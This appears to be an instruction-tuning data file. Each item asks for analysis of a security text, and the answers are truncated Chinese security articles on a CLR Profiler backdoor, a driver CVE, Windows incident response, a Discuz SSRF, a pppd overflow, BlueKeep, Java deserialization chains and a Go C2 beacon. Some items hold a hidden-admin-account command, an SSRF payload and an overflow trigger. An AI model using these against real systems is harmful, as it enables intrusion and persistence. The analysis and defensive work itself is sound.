Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 编写插桩ASP.NET MVC程序的CLR Profiler后门
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在之前某次渗透测试中，发现一个ASP.NET的站点，通过数据库权限提权拿下系统之后发现站点的密码是经过几次编码和不可逆加密算法存储的。导致无法通过管理员的账号密码登录系统（因为当时是个比较重要的系统，因此需要账号密码来登录后台），因此最后的解决办法就是通过加密算法生成一个新的密码，再写入数据库中来登录。但之后接触到了CLR
Profiler，于是想起用这种方式来获取管理员的账号密码，本次文章仅介绍思路以供研究学习，切勿用于非法用途。
## CLR Profiler探测器介绍
微软在托管进程启动前会检测是否有设置相应的CLR Profiler
API，该API是用于分析运行时进程的上下文情况，在此处我们可以用这种方式来织入我们的恶意代码到其中。当托管进程（应用程序或服务）启动时，将加载公共语言运行时
(CLR)。 初始化 CLR 时，将评估以下两个环境变量以决定进程是否应连接到探查器：
  * COR_ENABLE_PROFILING：仅当此环境变量存在并设置为 1 时，CLR 连接到探查器。
  * COR_PROFILER：如果 COR_ENABLE_PROFILING 检查通过，CLR 将连接到具有此 CLSID 或 ProgID 的探查器（已事先存储在注册表中）。 COR_PROFILER 环境变量被定义为字符串，如以下两个示例中所示。
        set COR_PROFILER={32E2F4DA-1BEA-47ea-88F9-C5DAF691C94A}
    set COR_PROFILER="MyProfiler"
下图显示探查器 DLL 如何与所分析应用程序和 CLR 交互。
###  关于ICorProfilerCallback
CLR 在 ICorProfilerCallback (或 ICorProfilerCallback2)
接口中调用方法，以便在探查器已订阅的事件发生时，来通知探查器。 这是 CLR 与探查器进行通信时所使用的主回调接口。
探查器必须实现接口的方法 ICorProfilerCallback 。 对于 .NET Framework 版本2.0 或更高版本，探查器还必须实现
ICorProfilerCallback2 方法。 每个方法实现都必须返回值为 “S_OK” 的 HRESULT，否则失败时 E_FAIL。
###  关于通知接口
可以将ICorProfilerCallback和ICorProfilerCallback2视为通知接口。 这些接口包括
ClassLoadStarted、ClassLoadFinished和 JITCompilationStarted等方法。 每次 CLR
进行加载或卸载类、编译函数等操作时，都会调用探查器的 ICorProfilerCallback 或 ICorProfilerCallback2
接口中的相应方法。
###  关于信息检索接口
分析中涉及的其他主要界面是 ICorProfilerInfo 和 ICorProfilerInfo2。
探查器根据需要调用这些接口，以获取更多的信息来帮助进行分析。 例如，每当 CLR 调用 FunctionEnter2 函数时，它都会提供函数标识符。
探查器可以通过调用 ICorProfilerInfo2::GetFunctionInfo2 方法来获取有关该函数的详细信息，以发现该函数的父类、名称，等等。
###  初始化探查器
探查器创建最重要的就是ICorProfilerCallback::Initialize
方法，这是CLR应用程序启动时初始化代码探查器的入口。如果两次环境变量检查均通过，CLR 就会以与 COM CoCreateInstance
函数类似的方式创建探查器实例。
    HRESULT Initialize(
        [in] IUnknown *pICorProfilerInfoUnk
    );
pICorProfilerInfoUnk 中指向 IUnknown 接口的指针，探查器必须查询该接口的 ICorProfilerInfo 接口指针。
IUnknown 是每个其他 COM 接口的基接口。 此接口定义三种方法： QueryInterface、 AddRef和Release。
QueryInterface 允许接口用户要求对象指向其接口的另一个接口。 AddRef 和 Release 在接口上实现引用计数。
因此必须要在Initialize方法中通过QueryInterface查...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 对某驱动程序提权漏洞的分析
##### 译文声明
本文是翻译文章，文章原作者 microsoft，文章来源：microsoft.com
原文地址：<https://www.microsoft.com/security/blog/2019/03/25/from-alert-to-driver-vulnerability-microsoft-defender-atp-investigation-unearths-privilege-escalation-flaw/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
随着微软不断加固内核安全、提升原生内核组件的漏洞利用难度，现在第三方内核驱动正逐渐成为攻击者的首选目标，也是安全分析人员的重点研究对象。已签名的第三方驱动中的漏洞可能会造成非常重大影响：攻击者可以滥用该漏洞来提升权限，或者绕过驱动程序强制签名机制（这是更为常见的一种做法），无需在操作系统中使用更为珍贵的0-day内核漏洞。
计算机厂商通常会向用户附带提供便于设备管理的一些软件及工具，这些软件和工具（包括驱动）通常会包含运行在内核ring-0层的组件。由于这些组件会默认安装，因此在安全方面必须与内核保持一致：即便其中某个组件存在缺陷，也可能成为整个内核安全的致命弱点。
我们在分析[Microsoft Defender Advanced Threat
Protection](https://www.microsoft.com/en-us/windowsforbusiness/windows-atp?ocid=cx-blog-mmpc)内核传感器模块生成的警告时就找到了这样一个驱动。经过跟踪定位，我们发现这种异常行为存在于Huawei研发的某个设备管理驱动中。经过深入挖掘，我们发现该设备存在一个本地提权漏洞。
反馈该漏洞后（漏洞编号为CVE-2019-5241），Huawei方面积极响应，整个合作过程非常迅速且专业。2019年1月，Huawei发布了[修复程序](https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20190109-01-pcmanager-en)。在本文中，我们将与大家分享我们从调查ATP警告到发现漏洞、最终与厂商合作以保护客户安全的完整过程。
## 二、使用Microsoft Defender ATP检测内核发起的代码注入
从Windows 10 1809版本开始，系统在内核中新部署了一些传感器，用来跟踪由内核代码执行的User
APC代码注入操作，能更更好地分析DOUBLEPULSAR之类的内核漏洞利用技术。在之前的一篇深入分析[报告](https://cloudblogs.microsoft.com/microsoftsecure/2017/06/30/exploring-the-crypt-analysis-of-the-wannacrypt-ransomware-smb-exploit-propagation/)中我们提到，DOUBLEPULSAR是WannaCry勒索软件使用的一个内核后门，用来将主功能payload注入用户空间（user-space）。DOUBLEPULSAR会将payload从内核拷贝到`lsass.exe`中的一块可执行内存区域，将User
APC插入某个目标线程，并将`NormalRoutine`指向这一块内存区域。
图1. WannaCry User APC注入技术示意图
虽然User APC代码注入技术并不罕见（参考[Conficker](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Conficker)或[Valerino](https://community.osr.com/discussion/88852)之前提供的proof-of-concept），但想检测运行在内核中的安全威胁并非易事。自从Windows引入PatchGuard以来，用户再也无法hook
NTOSKRNL，驱动程序无法通过公开的方式获取关于上述操作的任何通知。因此，如果没有更好的选择，可采取的唯一策略就是内存取证技术，而这可能是非常复杂的一个过程。
这些新部署传感器的目标正是为了解决这类内核威胁。Microsoft Defender
ATP利用这些传感器来检测由内核代码发起的可疑操作，这些操作最终可能会将代码注入用户模式（user-mode）中，我们也是因为某次可疑操作才开始这次调查之旅。
## 三、分析来自内核的异常代码注入行为
当监控与内核模式攻击有关的告警信息时，我们注...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 应急响应入门篇-windows分析排查技术（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> windows应急响应实际分析
## 1-进程分析-可疑进程发现与关闭
**概念** ：
计算机与外部网络通信是建立在TCP或者UDP协议上的，并且每一次通信都是具有不同的端口（0-65535）。如果计算机被上传木马后，肯定会与外部网络通信，那么此时就可以通过查看网络连接状态，找到对应的进程id，然后关闭进程id并关闭连接状态。
1.netstat -ano | find “ESTABLISHED” //查看网络建立连接状态
2.tasklist /svc | find “PID” 查看具体PID进程对应的程序
3.taskkill /PID pid值 /T 关闭进程
## 2-异常计划任务排查
**主要是对系统信息的windows计划任务进行排查**
在计算机中可以通过设定计划任务，在固定时间执行固定操作，一般情况下，恶意代码也有可能在
固定的时间设置执行。
使用at命令可以对计划任务进行管理，直接输入at可以查看当前计算机中保存的计划任务。
1.使用at命令查看计算机中保存的计划任务。
2.也可以在可视化的任务管理器进行查看。
3.可以选中运行的任务，然后进行查看详细信息。
4.查看详细内容
5.可以对异常任务进行停止。
## 3- 隐藏账号发现与删除
隐藏账号，是指“黑客”之后为了能够持久保持对计算机访问，而在计算机系统中加建立的不轻易被发现的计算机账户。
最为简单的隐藏账户建立: net user test$ test /add && net localgroup aministrator test$
/add 其中 $ 符号可以导致管理员在使用net user 时， 无法查看test$用户。
1.使用net user test$ test /add建立临时用户
2.然后在计算机管理-用户里面查看新建的临时用户。
3.使用net user查看临时用户是否存在。
4.添加一个新临时用户，然后设置本地组。
5.查看其属性。
6.切换用户，然后登录
7.使用whoami查看用户id。
8.然后在计算机管理查看临时用户属性，发现他隶属于管理员。
9.防御措施就是发现临时用户，带有特殊符号的，将其删除。
2.注册表临时用户
1.先进入注册表，然后找到SAM，分配权限。
2.先建立一个临时用户
3.然后将管理员的文件，加到临时用户上。
## 4- 恶意进行-发现与关闭
恶意代码在windows系统中运行过程中，将以进程的方式进行展示，其中恶意进程执行着各种恶意行为，对于可执行程序，可以执行使用杀毒软件进行查杀，但是并非所有的恶意程序能够被查杀。此时可以手动查杀，使用工具psexplore，然后利用virustotal.com进行分析。对恶意程序相关的服务进行关闭。
1.使用psexplore进行分析
2.找到可疑程序，然后查找具体位置。
3.然后在服务里面查看，如果是可疑程序，将它停止。
## 5- 系统信息 -补丁查看与更新
windows系统支持补丁以修补漏洞。可以使用systeminfo查看系统信息，并展示对应的系统补丁信息
编号，也可以在卸载软件中查看系统补丁和第三方软件补丁。
第一种：使用systeminfo查看具体信息。
2.然后在卸载更新里面查看更新补丁。
3.win10 更新补丁的方法。
使用win+I快捷键 更新补丁。其他版本的windows也具有windows update的相关操作。
## 6-webshell发现与查杀
1：D盾专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情
况下，越少的功能，服务器越安全的理念而设计！ 限制了常见的入侵方法，让服务器更安全!
<http://www.d99net.net/index.asp>
2.河马webshell查杀：<http://www.shellpub.com>
3.深信服Webshell网站后门检测工具：<http://edr.sangfor.com.cn/backdoor_detection.html>
4.Safe3：<http://www.uusec.com/webshell.zip>
## 总结：
本文主要从可疑进程的发现、异常任务的排查、隐藏账户的发现、恶意程序的发现、系统补丁的查看及webshell的查杀来构思。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/TRCdXZU8v1NsbFhZKLa1Qw>**
## 0x00 漏洞信息简介
* * *
Crossday Discuz! Board（简称
Discuz!）是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来，Discuz!已拥有15年以上的应用历史和200多万网站用户案例，是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本Discuz!
X3.4正式版于2017年8月2日发布，去除了云平台的相关代码，是 X3.2
的稳定版本。此次漏洞位于`/source/module/misc/misc_imgcropper.php`中的54行处的`$prefix`可控导致SSRF。
文章参考[Discuz x3.4 前台 SSRF 分析](https://paper.seebug.org/756/ "Discuz x3.4 前台
SSRF 分析")。该漏洞公开时间为2018年12月3日，文章地址为[Discuz
x3.4前台SSRF](https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html
"Discuz
x3.4前台SSRF")，由于该文章存在密码，可以查看转载地址：[文章转载地址](https://www.codercto.com/a/43029.html
"Discuz x3.4前台SSRF转载")
## 0x01 漏洞详细分析
* * *
Discuz开源地址为[Gitee](https://gitee.com/Discuz/DiscuzX/ "Discuz")，使用git clone
克隆到本地
    git clone https://gitee.com/Discuz/DiscuzX
根据[补丁提交记录](https://gitee.com/Discuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3
"补丁提交记录")来切换到漏洞修复前的前一个commit版本
    git checkout a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9
本地搭建好运行环境之后首先访问页面`http://www.a.com/dz/DiscuzX/upload/misc.php?mod=imgcropper`，然后点击裁切按钮并抓包
拦截之后重放数据包在提交内容位置添加参数`cutimg`和`picflag`，红框处填写需要请求的IP地址并发送数据包
    &cutimg=/dz/DiscuzX/upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540192.168.163.131%26quickforward%3d1&picflag=2
这时服务器将成功收到请求
下面来看看后端是怎么处理的，断点地址为`source/module/misc/misc_imgcropper.php`line
54。当传递的`picflag`为`2`时取`$_G['setting']['ftp']['attachurl']`变量的值`"/"`。接下来55行接收拼接可控变量`cutimg`。
既然可控，那么就要看看它后面是怎么处理的，来到Thumb方法
进入`init`方法，到达`parse_url`方法后在`source`中解析出了`host`。此时就会进入`dfsockopen`
    //dz/DiscuzX/upload/member.php?mod=logging&action=logout&referer=//c%23%40192.168.163.131&quickforward=1
parse_url支持//baidu.com/s这种形式的url解析
继续跟进`dfsockopen`方法，在该方法中又进行了解析，处理同上，由于不存在协议所以`scheme`为`null`，这样在最后拼接出来的URL就是`://xx.com/`，这样的链接会自动补上协议，所以最后为`http://://xx.com/`。
在windows中使用`curl`请求该地址最终解析到了192.168.163.1，也就是某个网卡的本地地址。请求路径为`http://192.168.163.1/xx.com`
此时我们能够进行内网请求，但是地址并不可控，所以需要找到一个discuz可以进行任意url跳转的漏洞，再请求该路径跳转出去。discuz在退出的时候会取...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 利用收款二维码为网络犯罪“开绿灯“，到底是谁在为黑灰产“输血”？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
早前，通过产业挖掘分析，兼职人员过于频繁进行多笔小额资金支付，可能会引起支付平台的风控警觉，遭遇冻卡、断卡风险，那诈骗窝点是如何解决支付难题的呢？为此，我们深入研究了“跑分”“代付”行平台和相关产业运作。
## “代收”型跑分平台
指的是跑分平台以网赚为名，进行兼职众包，吸引兼职客向跑分平台提供收款二维码，跑分平台再提供给博彩平台，充当收款账户，赌客完成赌资后，跑分平台给予兼职客佣金。
由于兼职客在跑分平台进行兼职任务时，需缴纳保证金，也保障了跑分平台和赌博平台的资金安全。利用白账户进行赌资流转，既规避了风控监管，又大大提高转账成功率。跑分平台无需过度担忧洗钱资金池的银行卡被冻结的问题，为后期跑分平台与黑产/诈骗团伙利益分成转账，提供了充足的时间。
模式一：人民币. 支付宝、微信等收款二维码
模式二：数字货币. 支付宝、微信等收款二维码
模式三：代收型跑分（USDT虚拟货币）
USDT（泰达币）是由某外国公司发行的区块链数字货币，以1:1的比例锚定美元。
简单理解，就是对标美元自发行的数字货币，货币本身具有价值，可以交易买卖。
目前三种代收型跑分平台，目标客户都是赌博平台。跑分平台与赌博平台多为同一个团伙运营，主要是解决赌博平台的资金周转和洗钱问题。三者的区别在于，跑分客向跑分平台提供的收款账户和抵押物形式不同：
Ø前两种模式，在跑分平台抵押的是人民币，相当于赌资变现获得了人民币。
Ø第三种模式，虚拟货币的隐蔽性，USDT的稳定性受到了赌博产业的追捧，跑分平台将充值码、抵押物更换成USDT。一方面，赌客可以通过USDT充值赌资，一方面，赌博平台可以将USDT进行流转。
以上可以看出，目前黑产已不局限于使用接码平台、个人养号、水房等方式进行资产归集，而是使用众包的方式进行资产风险转移。通过对洗钱环节的深入研究发现，诈骗分子收款方式更为隐蔽，使用的第四方式支付用到了免签监控APP、自动转账APP。
## 首先，介绍一下什么是“第四方支付”？
人们已习惯将支付宝、微信支付等一类的网络支付称为第三方支付。通常情况，第三方支付需要获得央行的支付业务许可证，也就是支付牌照，有了牌照，才能开门营业（开展收款业务）。
第四方支付，本质是在第三方支付的基础上，融合了多方支付通道，所以不管用户用什么通道付款，都可以完成支付。过程中不直接触碰资金，近几年多被用作网络黑灰产业洗钱的重要工具。
图片来自网络
## 免签支付（收款）
若黑产搭建发卡平台贩卖黑产商品，由于个人无法申请微信和支付宝接口，收款方式为个人二维码。当买家付款时，发卡平台无法将订单与买家对应，这时就需要用到免签支付，利用监控APP做支付回调通知，把支付订单与买家“对上号”。
**免签收款闭环**
**使用“免签”，首先要安装监控APP布“环境”**
在第四方支付平台申请商户账户时，需要上传个人收款二维码（支付宝/微信），获得商户ID、支付密钥、支付接口地址；在监控APP中填写商户ID、支付密钥、支付接口，开启支付宝通知栏通知权限，完成联调（检测心跳）。
这样将个人收款二维码上传至收款渠道（博彩、发卡等），用户向该二维码支付时，支付宝收到支付通知，第四方平台可查看到支付订单记录。
**产业衍生**
由于平台风控，黑灰产使用第三方支付进行收款，账户很容易被冻结。如何让用户扫码支付的资金不经过第三方账号而直接流转至银行账户呢？这里就用到了
**“支付宝转卡”** ，即扫码支付二维码后，由原先的，跳转到“转至支付宝账户”，变成跳转至“转账至银行卡界面”。
正常情况下，支付宝扫码支付
支付宝转卡直接跳转至银行卡界面
斩断黑产资金链，摧毁黑产迅速变现能力，已成为从根源上打击治理网络犯罪工作的重中之重。以第四方支付为主的非法结算上下游链条，直接影响了资金流向。因此，持续加强对资金变现环节打击力度，遏制住不法资金向外流转的可能，也是相关单位组织及平台的重点努力方向。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 0x0 背景
pppd是一个通过串行接口连接的点对点协议（PPP）
github地址 ：<https://github.com/paulusmack/ppp>
在ppp 2.4.2 - 2.4.8版本有一个栈溢出漏洞，我试着分析了整个过程
### 0x1复现整个过程
准备两台ubuntu的虚拟机(我用的virtualbox)，设置启用串口功能。分别在两台虚拟机上git
clone一份ppp，并回滚到有漏洞版本，编译安装。例如
    git clone https://github.com/paulusmack/ppp.git
    cd ppp
    git checkout ppp-2.4.8
    ./configure
    make
    make install
开启服务端的md5认证(MD5-Challenge)
打开文件/etc/ppp/chap-secrets添加下面内容
    admin   *       password        *
服务端启动pppd程序
    pppd /dev/ttyS0 9600 auth local lock defaultroute debug nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap
客户端启动pppd程序
    pppd noauth local lock defaultroute debug nodetach /dev/ttyS0 9600 user aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb password notpassword
下图我们发现程序没有崩溃，服务端打印出的username只有255个字节，我们输入的username255+5个字节，可惜这不是服务端对接收的内容进行的验证，这是在客户端限制了用户输入的用户名长度
### 0x2 漏洞分析
pppd进行MD5-Challenge的时候，通过eap_chap_response把密码hash、用户名和用户名长度一起发送到了服务端，用户名保存在一个256大小的栈变量中。
所以在我们上边的测试中，其实只发送了255长度的username到服务端。
    6     typenum = id;
       5     MD5_Update(&mdContext, &typenum, 1);
       4     MD5_Update(&mdContext, (u_char *)secret, secret_len);
       3     BZERO(secret, sizeof (secret));
       2     MD5_Update(&mdContext, inp, vallen);
       1     MD5_Final(hash, &mdContext);
    1454     ** eap_chap_response(esp, id, hash, esp->es_client.ea_name,
       1         esp->es_client.ea_namelen);
       2     break;
    787    eap_authwithpeer(unit, user);
    20 void
      19 eap_authwithpeer(unit, localname)
      18 int unit;
      17 char *localname;
      16 {
      15   eap_state *esp = &eap_states[unit];
      14
      13   /* Save the peer name we're given */
      12   esp->es_client.ea_name = localname;
      11   esp->es_client.ea_namelen = strlen(localname);
      10
       9   esp->es_client.e...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在Microsoft的`May Patch Tuesday`周报中发布了针对远程桌面协议（RDP）中的漏洞安全公告。在这个补丁报告中，微软为Windows
XP和其他几个操作系统提供了修复报告，然而这些操作系统多年里并没有得到非常安全的补丁更新支持。这就是为何微软将此漏洞设定为高危的原因所在。
根据该通报，我们发现此问题非常严重，能够导致远程执行代码并非常容易被攻击者利用，这意味着它可以在未受保护的系统上进行自动传播。该公告使用了网络蠕虫“`WannaCry`”的通告方法，该漏洞在2017年3月微软发布MS17-010作为相关漏洞的补丁后仅几个月就被大量利用。`McAfee
Advanced Threat
Research`一直在分析这个最新的bug以帮助预防类似的情况，我们敦促那些未修补和受影响的系统尽快应用CVE-2019-0708补丁。恶意行为者极有可能部署此漏洞，并且在不久的将来可能会将其发布到网络用于攻击。
易受攻击的操作系统：
  * Windows 2003
  * Windows XP
  * Windows 7
  * Windows Server 2008
  * Windows Server 2008 R2
蠕虫是主要在网络上复制的病毒。蠕虫通常会在远程计算机上自动执行，而无需用户提供任何额外帮助。如果病毒的主要攻击媒介是通过网络，那么它就被归类为蠕虫病毒。
远程桌面协议（RDP）支持客户端和端点之间的连接，定义虚拟通道之间通信的数据。虚拟通道是双向数据管道，可以扩展`RDP`。 `Windows Server
2000`使用`RDP 5.1`定义了32个静态虚拟通道（SVC），但由于定动态虚拟通道（DVC）的通道数量存在限制，这些通道包含在专用SVC中。
SVC在会话开始时创建并保持到会话终止，这与需要创建和拆除的DVC不同。
下图为32个SVC绑定信息，`CVE-2019-0708`补丁修复了RDP驱动程序`termdd.sys`中的`_IcaBindVirtualChannels`和`_IcaRebindVirtualChannels`函数。如图所示，RDP连接序列连接在安全开始之前启动并进行通道设置，这使得`CVE-2019-0708`可以对其进行设置，因为它可以在发现开放端口`3389`后通过网络自我传播。
该漏洞是由于`“MS_T120”SVC`名称在RDP协议的GCC初始化期间被绑定为数字`31`的参考信道。
此通道名称在Microsoft内部使用，并且客户端没有合法用例来请求名为`“MS_T120”`的`SVC`连接。
图2显示了没有`MS_T120`信道的`GCC`初始化序列合法信道请求。
但是，在`GCC`初始化期间，客户端所提供的服务器中并未列入白名单的频道名称，这意味着攻击者可以在31以外的频道上设置另一个名为“`MS_T120`”的SVC。在31以外的频道中使用`MS_T120`
会导致堆内存损坏和远程代码执行（RCE）。
图3显示了GCC会议初始化序列期间的异常信道请求，其信道号为4且名称为“MS_T120”。
图4展现了`MS_T120`通道管理中涉及的`.MS_D120`组件是如何在引用通道`rdpwsx.dll`和`rdpwp.sys`中完成堆分配并创建。
当在31以外的通道索引的上下文中处理`MS_T120`引用通道时，堆损坏发生在`termdd.sys`中。
现在，如图所示的`Microsoft`补丁使用通道名称“`MS_T120`”添加了对客户端连接请求的检查，并确保它在`termdd.sys`中的`_IcaBindVirtualChannels`和`_IcaRebindVirtualChannels`函数中仅绑定到通道31（1Fh）。
在我们调查了`Windows
2003`和`XP`的补丁并了解了如何在补丁之前和之后解析RDP协议后，我们决定创建并测试一个验证脚本（PoC），它将使用该漏洞并远程执行代码在受害者的机器上启动计算器应用程序。
在我们的设置中，`RDP`在计算机上运行，我们确认测试版本的操作系统上运行了未修补的版本。
通过我们的调查，我们可以确认漏洞利用是否正常，并且可以在没有身份验证的情况下在易受攻击的系统上远程执行代码。
如果启用，网络级别身份验证应该有效地阻止此漏洞利用。但是，如果攻击者拥有验证凭证，他们将绕过此步骤。
由于补丁可用，我们决定不提供有关漏洞的更深入的详细信息或公开发布POC。
  * 我们可以确认修补后的系统会阻止该漏洞，并强烈建议用户尽快修补。
  * 从网络外部禁用RDP并在内部对其进行限制。 禁用RDP时，漏洞利用不成功。
  * 除非有合法使用案例的证据，否则应阻止在RDP协议的GCC会议初始化序列期间在31以外的任何通...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

作者：Hcamael@知道创宇404区块链安全研究团队
在我们对etherscan等平台上合约进行安全审查时，常常会遇到没有公布Solidity源代码的合约，只能获取到合约的OPCODE，所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。
目前在互联网上常见的反编译工具只有[porosity](https://github.com/comaeio/porosity
"porosity")[1]，另外在Github上还找到另外的反编译工具[ethdasm](https://github.com/meyer9/ethdasm
"ethdasm")[2]，经过测试发现这两个编译器都有许多bug，无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具，在我看来如果要写出一个优秀的反汇编工具，首先需要有较强的OPCODE逆向能力，本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。
#### 基础
智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行，OPCODE为1字节，从`0x00 -0xff`代表了相对应的指令，但实际有用的指令并没有0xff个，还有一部分未被使用，以便将来的扩展
具体指令可参考[Github](https://github.com/trailofbits/evm-opcodes
"Github")[3]上的OPCODE指令集，每个指令具体含义可以参考[相关文档](http://solidity.readthedocs.io/en/v0.4.21/assembly.html
"相关文档")[4]
#### IO
在EVM中不存在寄存器，也没有网络IO相关的指令，只存在对栈(stack)，内存(mem), 存储(storage)的读写操作
  * stack
使用的push和pop对栈进行存取操作，push后面会带上存入栈数据的长度，最小为1字节，最大为32字节，所以OPCODE从`0x60-0x7f`分别代表的是`push1-push32`
`PUSH1`会将OPCODE后面1字节的数据放入栈中，比如字节码是`0x6060`代表的指令就是`PUSH1 0x60`
除了`PUSH`指令，其他指令获取参数都是从栈中获取，指令返回的结果也是直接存入栈中
  * mem
内存的存取操作是`MSTORE`和`MLOAD`
`MSTORE(arg0, arg1)`从栈中获取两个参数，表示`MEM[arg0:arg0+32] = arg1`
`MLOAD(arg0)`从栈中获取一个参数，表示`PUSH32(MEM[arg0:arg0+32])`
因为`PUSH`指令，最大只能把32字节的数据存入栈中，所以对内存的操作每次只能操作32字节
但是还有一个指令`MSTORE8`，只修改内存的1个字节
`MSTORE(arg0, arg1)`从栈中获取两个参数，表示`MEM[arg0] = arg1`
内存的作用一般是用来存储返回值，或者某些指令有处理大于32字节数据的需求
比如: `SHA3(arg0,
arg1)`从栈中获取两个参数，表示`SHA3(MEM[arg0:arg0+arg1])`，SHA3对内存中的数据进行计算sha3哈希值，参数只是用来指定内存的范围
  * storage
上面的stack和mem都是在EVM执行OPCODE的时候初始化，但是storage是存在于区块链中，我们可以类比为计算机的存储磁盘。
所以，就算不执行智能合约，我们也能获取智能合约storage中的数据:
    eth.getStorageAt(合约地址, slot)
    # 该函数还有第三个参数，默认为"latest"，还可以设置为"earliest"或者"pending"，具体作用本文不做分析
storage用来存储智能合约中所有的全局变量
使用`SLOAD`和`SSTORE`进行操作
`SSTORE(arg0, arg1)`从栈中获取两个参数，表示`eth.getStorageAt(合约地址, arg0) = arg1`
`SLOAD(arg0)`从栈中获取一个参数，表示`PUSH32(eth.getStorageAt(合约地址, arg0))`
#### 变量
智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量
全局变量和局部变量的区别是，全局变量储存在storage中，而局部变量是被编译进OPCODE中，在运行时，被放在stack中，等待后续使用
公有变量和私有变量的区别是，公有变量会被编译成一个constant函数，后面会分析函数之前的区别
因为私有变量也...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Java反序列化利用链分析之CommonsCollections2,4,8
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面几篇文章，分析了CommonsCollections:3.2.1版本以下存在的反序列化链。今天将继续分析CommonsCollections:4.0版本，主要讲述CommonsCollections2，4，8的利用链构造。
## 0x01 前景回顾
commons-collections:4.0版本其实并没有像3.2.2版本的修复方式一样做拉黑处理，所以在3.2.1及以下的利用链改改还是可以用的。
例如CommonsCollections5
    final Map<String, String> innerMap = new HashMap();
    final Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
将innerMap改成键值对的申明方式即可，但是大家是不是还记得，除了用LazyMap的方式，CommonsCollections3曾提到过使用`TrAXFilter`类初始化的方式来载入任意的class
bytes数组。
这里commons-collections:4.0版本下的利用链，用的都是TemplatesImpl作为最终的命令执行的代码调用，由于前面分析过这个利用方式，后文不再复述。
## 0x02 利用链分析
###  1\. CommonsCollections2,4
CommonsCollections2,4都用到了一个新的类`PriorityQueue`的`Comparator`来触发`transform`函数，两者的区别在于中间的桥接用的不同的Transformer对象。先来看一下`PriorityQueue.readObject`
框框里的主要工作为反序列化恢复该对象的数据，我们重点关注`heapify()`
继续跟进`siftDown`
当我们在实例化对象时提供了`comparator`，将会来到我们最终触发compare的位置，看一下`siftDownUsingComparator`
这里调用了我们传入的comparator，并调用其compare，利用链中使用了`TransformingComparator`,来看一下它的compare函数
调用了当前的transformer的transform函数，看到这里，其实已经很熟了，前面分析的很多利用链都跟transform有关，并且4.0版本并没有拉黑相关的transformer。所以接下来，我们就可以用前面的一些思路了。
1.CommonsCollections2
CommonsCollections2利用了InvokerTransformer类的任意类函数调用的transform，传入构造好的templates
gadget并调用 `TemplatesImpl.newTransformer`
2.CommonsCollections4
CommonsCollections4后续用的方法同CommonsCollections3一样，用`InstantiateTransformer`来触发`TrAXFilter`的初始化，最终也将调用`TemplatesImpl.newTransformer`
整理一下利用链
    CommonsCollection2:
    PriorityQueue.readObject
        -> PriorityQueue.heapify()
        -> PriorityQueue.siftDown()
        -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
        -> InvokerTransformer.transform()
        -> TemplatesImpl.newTransformer()
        ... templates Gadgets ...
        -> Runtime.getRuntime().exec()
    CommonsCollection4:
    PriorityQueue.readObject
        -> PriorityQueue.heapify()
        -> PriorityQueue.siftDown()
        -> PriorityQueue.siftDownUsingCo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 0x01 写在前面
项目地址: <https://github.com/darkr4y/geacon>
项目说明:
这都说了啥...
这是一个用Golang写的弹beacon会话的工具,相对其他项目来说，这个项目算是老老实实的拟真cs通讯，正好在拿go写c2，看下逻辑学习一下。
CS相关的Golang项目可参考：
<https://github.com/Lz1y/GECC>
<https://github.com/gloxec/CrossC2>
<https://github.com/wahyuhadi/beacon-c2-go>
代码目录：
    ├─cmd
    │  │  main.go                             //主程序
    │  │
    │  ├─config
    │  │      c2profile.go
    │  │      config.go                       //c2配置
    │  │
    │  ├─crypt
    │  │      aes.go
    │  │      rand.go
    │  │      rsa.go
    │  │
    │  ├─packet
    │  │      commands.go
    │  │      http.go
    │  │      packet.go
    │  │
    │  ├─sysinfo
    │  │      meta.go
    │  │      sysinfo_darwin.go
    │  │      sysinfo_linux.go
    │  │      sysinfo_windows.go
    │  │
    │  └─util
    │          util.go
    │
    ├─scripts
    │      icons.cna                           //cs脚本
    │
    └─tools
